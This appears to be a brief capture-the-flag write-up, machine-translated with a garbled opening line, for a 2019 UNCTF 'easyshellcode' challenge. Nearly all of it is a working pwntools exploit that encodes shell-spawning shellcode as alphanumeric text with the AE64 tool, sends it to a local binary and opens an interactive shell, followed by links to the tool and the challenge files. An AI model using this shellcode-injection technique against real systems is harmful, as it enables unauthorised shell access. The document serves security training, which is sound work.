Easyshellcode:
Do not say, are not the tools of the tragic history directly on exp:
from pwn import * from numbers import * from ae64 import AE64 context.log_level = 'debug' p = process('./pwn') p.recvuntil('say?\n') obj = AE64() sc = obj.encode(asm(shellcraft.sh())) p.sendline(sc) p.interactive()
Tool connection: https://github.com/veritas501/ae64
Topic Accessories: https://github.com/countfatcode/countfatcode.github.io/tree/master/%E9%A2%98%E7%9B%AE/2019UNCTF/easyshellcode